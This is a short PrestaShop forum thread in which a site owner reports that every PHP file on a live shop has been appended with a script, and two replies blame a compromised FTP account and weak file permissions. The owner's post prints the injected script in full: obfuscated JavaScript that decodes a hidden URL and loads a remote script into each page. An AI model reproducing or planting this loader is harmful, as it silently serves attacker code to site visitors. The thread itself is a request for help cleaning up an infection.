kush Posted July 26, 2011 Share Posted July 26, 2011 Hello ppl, I need a urgent help as my live website is having some issue. each and every file(.php) of prestashop is appended (at the end of the file) a script is written i don't know how. when i uploaded these scripts where not there please help. Script is as below "<script> function vdch() { if(document.all.length > 3) { var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029'); var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } } var dch = document.createElement("script"); dch.id = "dchid"; dch.src = dchid; document.all[3].appendChild(dch); } else { setTimeout("vdch()",500); } } setTimeout("vdch()",500); </script> " Link to comment Share on other sites More sharing options...
Burhan BVK Posted July 26, 2011 Share Posted July 26, 2011 Your ftp account is comprimised. You need to replace the files on your server with the originals and change your ftp account password. Link to comment Share on other sites More sharing options...
rocky Posted July 29, 2011 Share Posted July 29, 2011 Also, check to make sure your permissions are chmod 755 for directories and chmod 644 for files. If you have your permissions set to 777, then anyone can add bad code like that to your files. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now